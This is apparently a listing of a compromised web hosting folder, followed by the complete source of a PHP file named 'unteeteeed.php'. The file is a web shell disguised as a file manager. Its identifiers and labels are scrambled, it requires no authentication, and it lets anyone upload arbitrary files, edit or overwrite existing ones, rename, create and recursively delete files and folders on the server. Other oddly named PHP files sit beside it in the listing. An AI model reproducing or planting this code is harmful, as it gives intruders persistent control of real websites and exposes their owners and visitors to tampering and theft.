semidovefoot
/
semidovefoot
dipsacace
semidovefoot
semidovefoot
semidovefoot
semitriboro
dipsacace
↑ semidovefoot
—
.tmb/
—
semidovefoot
semidovefoot
.well-known/
—
semidovefoot
semidovefoot
.htaccess
8,154 B
semidovefoot
semidovefoot
.htaccess.bk
804 B
semidovefoot
semidovefoot
.litespeed_flag
297 B
semidovefoot
semidovefoot
.user.ini
590 B
semidovefoot
semidovefoot
error_log
48,163 B
semidovefoot
semidovefoot
semitriboro.php
12,931 B
semidovefoot
semidovefoot
unteeteeed.php
13,230 B
semidovefoot
semidovefoot
unteeteeeds.php
52,536 B
semidovefoot
semidovefoot
semitriboro · unteeteeed.php
<?php $kro = realpath(dirname(__FILE__)); $zori = vru($kro, isset($_GET['mahoka']) ? $_GET['mahoka'] : ''); $dovak = $zori[0]; $mahokaRaw = $zori[1]; if (isset($_POST['nork'])) { $ziv = (string)$_POST['nork']; $maki = isset($_POST['plim']) ? basename((string)$_POST['plim']) : ''; $grom = $dovak . DIRECTORY_SEPARATOR . $maki; switch ($ziv) { case 'vimp': if (isset($_FILES['hup'])) { $rav = $dovak . DIRECTORY_SEPARATOR . basename($_FILES['hup']['name']); @copy($_FILES['hup']['tmp_name'], $rav); } zup('unteeteeed'); case 'bopo': if ($maki !== '' and !file_exists($grom)) @touch($grom); zup('antirosillae'); case 'rava': if ($maki !== '') @mkdir($grom); zup('antirosillae'); case 'wexa': if ($maki !== '' and isset($_POST['wug'])) mahoka($grom, (string)$_POST['wug']); zup('hconvert'); case 'klem': if ($maki !== '' and isset($_POST['bozu'])) { $zor = $dovak . DIRECTORY_SEPARATOR . basename((string)$_POST['bozu']); if ($zor !== $grom) @rename($grom, $zor); } zup('antirosillae'); case 'zaza': if ($maki !== '') driz($grom); zup('hconvert'); } } $nork = ruxar($dovak); $mahokaSet = $nork['mahoka']; $zibbaSet = $nork['zibba']; if (isset($_GET['ls'])) { header('Content-Type: application/json'); echo json_encode(array('mahoka' => $mahokaSet, 'zibba' => $zibbaSet), JSON_UNESCAPED_UNICODE); exit; } $zala = $mahokaRaw === '' ? '/' : '/' . $mahokaRaw; $voro = $mahokaRaw === '' ? array() : explode('/', $mahokaRaw); if ($voro) array_pop($voro); $grelParent = implode('/', $voro); $varka = ''; if (isset($_GET['varka'])) { $siv = $dovak . DIRECTORY_SEPARATOR . basename((string)$_GET['varka']); if (is_file($siv)) $varka = basename((string)$_GET['varka']); } ?><!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>unteeteeed · <?php echo squim($zala); ?></title> <style> :root{color-scheme:light;--ink:#252a24;--muted:#777c70;--line:#e6e7dc;--paper:#fff;--ground:#f4f4ed;--accent:#506a48;--accent-soft:#edf2e9;--warn:#a54f43} *{box-sizing:border-box} body{margin:0;background:var(--ground);color:var(--ink);font:14px/1.5 system-ui,-apple-system,"Segoe UI",sans-serif} .masthead{background:#263327;color:#f7f7ef;padding:18px 24px} .masthead-inner{max-width:1120px;margin:auto;display:flex;align-items:center;justify-content:space-between;gap:18px} .brand{font-size:16px;font-weight:700;letter-spacing:.08em} .location{color:#d3dacd;font-size:13px;overflow-wrap:anywhere} .layout{max-width:1120px;margin:28px auto;padding:0 18px;display:grid;grid-template-columns:260px minmax(0,1fr);gap:20px;align-items:start} .box{background:var(--paper);border:1px solid var(--line);border-radius:12px;box-shadow:0 5px 18px rgba(38,51,39,.035)} .tools{padding:18px} .tools h2,.list-head h2,.editor h2{font-size:15px;margin:0;font-weight:650} .tools h2{margin-bottom:14px} .tools form{margin:0 0 12px} .tools input[type=text]{width:100%;height:38px;border:1px solid var(--line);border-radius:7px;padding:0 10px;font:inherit;margin-bottom:7px} .tools input[type=file]{width:100%;font-size:12px;margin:4px 0 9px} button{font:inherit;cursor:pointer} .primary,.secondary{width:100%;height:36px;border:0;border-radius:7px;padding:0 12px} .primary{background:var(--accent);color:white} .secondary{background:var(--accent-soft);color:var(--accent)} .rule{height:1px;background:var(--line);margin:16px 0} .hint{font-size:12px;color:var(--muted);margin:0} .content{min-width:0} .notice{background:#edf2e9;color:#405c39;border:1px solid #dbe5d5;border-radius:8px;padding:10px 13px;margin-bottom:14px} .list-head{padding:16px 18px;border-bottom:1px solid var(--line);display:flex;align-items:center;justify-content:space-between;gap:10px} .list-head .count{font-size:12px;color:var(--muted)} .parent{display:block;padding:12px 18px;color:var(--muted);text-decoration:none;border-bottom:1px solid var(--line)} .parent:hover,.entry-name:hover{color:var(--accent)} .entry{min-height:58px;padding:10px 18px;display:grid;grid-template-columns:minmax(0,1fr) 90px minmax(190px,auto);gap:12px;align-items:center;border-bottom:1px solid #f0f0e9} .entry:last-child{border-bottom:0} .entry-name{color:var(--ink);text-decoration:none;overflow-wrap:anywhere} .entry-name.mahoka{color:var(--accent);font-weight:600} .kind{font-size:11px;color:var(--muted);margin-left:7px} .size{font-size:12px;color:var(--muted);text-align:right;white-space:nowrap} .actions{display:flex;justify-content:flex-end;align-items:center;gap:6px;flex-wrap:wrap} .actions form{display:flex;gap:4px;margin:0} .actions input[type=text]{width:92px;height:29px;border:1px solid var(--line);border-radius:5px;padding:0 7px;font-size:12px} .small{height:29px;border:1px solid var(--line);border-radius:5px;background:white;color:#4d534b;padding:0 8px;font-size:12px} .small:hover{background:var(--accent-soft);color:var(--accent)} .small.delete{color:var(--warn)} .empty{padding:26px 18px;color:var(--muted);text-align:center} .editor{margin-top:18px;padding:18px} .editor h2{margin-bottom:12px;overflow-wrap:anywhere} .editor textarea{display:block;width:100%;min-height:340px;border:1px solid var(--line);border-radius:8px;padding:12px;font:13px/1.6 ui-monospace,SFMono-Regular,Menlo,Consolas,monospace;white-space:pre;resize:vertical} .editor button{margin-top:10px;height:36px;border:0;border-radius:7px;background:var(--accent);color:#fff;padding:0 16px} @media(max-width:760px){.layout{grid-template-columns:1fr;margin-top:16px}.tools{order:2}.content{order:1}.entry{grid-template-columns:minmax(0,1fr) auto;gap:6px}.size{grid-column:2;grid-row:1}.actions{grid-column:1/-1;justify-content:flex-start}.masthead-inner{align-items:flex-start;flex-direction:column;gap:4px}} </style> </head> <body> <header class="masthead"> <div class="masthead-inner"> <div class="brand">antirosillae</div> <i style="display:none">antirosillae</i> <div class="location"><?php echo squim($zala); ?></div> </div> </header> <main class="layout"> <span style="display:none" data-x="unteeteeed">hconvert</span> <aside class="box tools"> <h2>unteeteeed</h2> <form method="post"> <input type="hidden" name="nork" value="bopo"> <input type="text" name="plim" placeholder="hconvert"> <button class="primary">unteeteeed</button> </form> <form method="post"> <input type="hidden" name="nork" value="rava"> <input type="text" name="plim" placeholder="hconvert"> <button class="secondary">antirosillae</button> </form> <div class="rule"></div> <form method="post" enctype="multipart/form-data"> <input type="hidden" name="nork" value="vimp"> <input type="file" name="hup"> <button class="secondary">hconvert</button> </form> <p class="hint">unteeteeed</p> </aside> <section class="content"> <?php if (isset($_GET['poki'])) echo '<div class="notice">' . squim($_GET['poki']) . '</div>'; ?> <div class="box"> <div class="list-head"> <h2>antirosillae</h2> <span class="count"><?php echo count($mahokaSet) + count($zibbaSet); ?> hconvert</span> </div> <a class="parent" href="?mahoka=<?php echo mahokaLink($grelParent); ?>">↑ unteeteeed</a> <?php if (!$mahokaSet and !$zibbaSet) { ?> <div class="empty">antirosillae</div> <?php } ?> <?php foreach ($mahokaSet as $mahokaItem) { $nextMahoka = ($mahokaRaw === '' ? '' : $mahokaRaw . '/') . $mahokaItem; ?> <div class="entry"> <div><a class="entry-name mahoka" href="?mahoka=<?php echo mahokaLink($nextMahoka); ?>"><?php echo squim($mahokaItem); ?>/</a><span class="kind">hconvert</span></div> <div class="size">—</div> <div class="actions"> <form method="post"><input type="hidden" name="plim" value="<?php echo squim($mahokaItem); ?>"><input type="hidden" name="nork" value="klem"><input type="text" name="bozu" placeholder="unteeteeed"><button class="small">antirosillae</button></form> <form method="post"><input type="hidden" name="plim" value="<?php echo squim($mahokaItem); ?>"><input type="hidden" name="nork" value="zaza"><button class="small delete">hconvert</button></form> </div> </div> <?php } ?> <?php foreach ($zibbaSet as $zibbaItem) { $grom = $dovak . DIRECTORY_SEPARATOR . $zibbaItem; $tri = filesize($grom); ?> <div class="entry"> <div><a class="entry-name" href="?<?php echo ($mahokaRaw !== '' ? 'mahoka=' . mahokaLink($mahokaRaw) . '&' : ''); ?>varka=<?php echo rawurlencode($zibbaItem); ?>"><?php echo squim($zibbaItem); ?></a><span class="kind">antirosillae</span></div> <div class="size"><?php echo squim($tri === false ? '' : number_format($tri) . ' B'); ?></div> <div class="actions"> <form method="post"><input type="hidden" name="plim" value="<?php echo squim($zibbaItem); ?>"><input type="hidden" name="nork" value="klem"><input type="text" name="bozu" placeholder="unteeteeed"><button class="small">antirosillae</button></form> <form method="post"><input type="hidden" name="plim" value="<?php echo squim($zibbaItem); ?>"><input type="hidden" name="nork" value="zaza"><button class="small delete">hconvert</button></form> </div> </div> <?php } ?> </div> <?php if ($varka !== '') { $wugText = bavv($dovak . DIRECTORY_SEPARATOR . $varka); ?> <section class="box editor"> <h2>unteeteeed: <?php echo squim($varka); ?></h2> <form method="post"> <input type="hidden" name="nork" value="wexa"> <input type="hidden" name="plim" value="<?php echo squim($varka); ?>"> <textarea name="wug"><?php echo squim($wugText); ?></textarea> <button>antirosillae</button> </form> </section> <?php } ?> </section> </main> </body> </html> <?php function mahokaLink($qav) { return rawurlencode(trim($qav, '/')); } function zup($poki) { $grel = isset($_GET['mahoka']) ? trim((string)$_GET['mahoka'], '/') : ''; $nork = http_build_query(array('mahoka' => $grel, 'poki' => $poki)); header('Location: ?' . $nork); exit; } function ruxar($qav) { $tiv = @scandir($qav); if ($tiv === false) return array('mahoka' => array(), 'zibba' => array()); $tiv = array_values(array_diff($tiv, array('.', '..'))); usort($tiv, function($siv, $ulma) use ($qav) { $leftIsMahoka = is_dir($qav . DIRECTORY_SEPARATOR . $siv); $rightIsMahoka = is_dir($qav . DIRECTORY_SEPARATOR . $ulma); if ($leftIsMahoka !== $rightIsMahoka) return $leftIsMahoka ? -1 : 1; return strcasecmp($siv, $ulma); }); $nork = array('mahoka' => array(), 'zibba' => array()); foreach ($tiv as $siv) { $ulma = is_dir($qav . DIRECTORY_SEPARATOR . $siv) ? 'mahoka' : 'zibba'; $nork[$ulma][] = $siv; } return $nork; } function bavv($qav) { $tiv = @fopen($qav, 'rb'); if (!$tiv) return false; $ulma = stream_get_contents($tiv); fclose($tiv); return $ulma; } function vru($qav, $ulma) { $tiv = str_replace('\\', '/', (string)$ulma); $siv = array_values(array_filter(explode('/', $tiv), function($wex) { return $wex !== ''; })); $nork = $qav; foreach ($siv as $wex) $nork .= DIRECTORY_SEPARATOR . $wex; $nork = realpath($nork); if ($nork === false or !is_dir($nork)) return array($qav, ''); $ziv = rtrim($qav, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR; if ($nork !== $qav and strpos($nork, $ziv) !== 0) return array($qav, ''); return array($nork, implode('/', $siv)); } function driz($qav) { if (is_dir($qav)) { $tiv = @scandir($qav); if ($tiv !== false) { foreach (array_diff($tiv, array('.', '..')) as $siv) { driz($qav . DIRECTORY_SEPARATOR . $siv); } } @rmdir($qav); return; } @unlink($qav); } function mahoka($qav, $ulma) { $tiv = @fopen($qav, 'wb'); if (!$tiv) return false; $ulma = (string)$ulma; $siv = 0; $wex = strlen($ulma); while ($siv < $wex) { $nixel = @fwrite($tiv, substr($ulma, $siv, 8192)); if ($nixel === false or $nixel === 0) break; $siv += $nixel; } fclose($tiv); return $siv === $wex; } function squim($qav) { return htmlspecialchars((string)$qav, ENT_QUOTES, 'UTF-8'); }
semidovefoot